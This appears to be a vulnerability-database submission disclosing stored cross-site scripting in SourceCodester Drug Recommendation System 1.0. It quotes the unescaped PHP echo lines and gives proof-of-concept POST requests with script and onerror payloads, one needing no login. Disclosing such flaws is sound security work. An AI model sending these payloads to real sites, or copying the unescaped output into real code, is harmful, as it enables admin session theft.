| Title | SourceCodester Drug Recommendation System 1.0 Cross Site Scripting |
|---|
| Description | A stored cross-site scripting vulnerability exists in SourceCodester Drug Recommendation System 1.0 in Admin/user_record.php and Admin/patient_record.php. User-controlled data (name, email) is stored via Admin/add_user.php or patient.php and rendered without htmlspecialchars() in the admin record tables.
Vulnerable code in Admin/user_record.php:
<td><?php echo $row['name'] ?></td>
<td><?php echo $row['email'] ?></td>
Vulnerable code in Admin/patient_record.php:
<td><?php echo $row['name'] ?></td>
Proof of Concept:
Step 1. POST /Admin/add_user.php with btnadd=1&txtname=<script>alert('XSS')</script>&txtpassword=test123456&cmdrole=Doctor&[email protected] (admin session)
Step 2. GET /Admin/user_record.php fires the stored XSS in the admin browser
Or via patient.php (no authentication required):
POST /patient.php with btnadd=1&txtname=<img src=x onerror=alert(document.cookie)>&[email protected]&txtphone=123&txtdob=2000-01-01&cmdsex=Male
Impact: An attacker can inject persistent JavaScript payloads that execute when an administrator views the records, leading to admin session theft or privilege escalation. Patient registration requires no authentication, so this is triggerable by unauthenticated users. CWE-79, CVSS v3.1 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).
|
|---|
| Source | ⚠️ https://www.sourcecodester.com/php/18278/drug-recommender-web-app-student-project.html |
|---|
| User | swj99557271 (UID 101148) |
|---|
| Submission | 09/10/2026 05:54 (2 months ago) |
|---|
| Moderation | 10/11/2026 19:11 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 416733 [SourceCodester Drug Recommendation System 1.0 Admin Record Tables Admin/user_record.php name/email cross site scripting] |
|---|
| Points | 20 |
|---|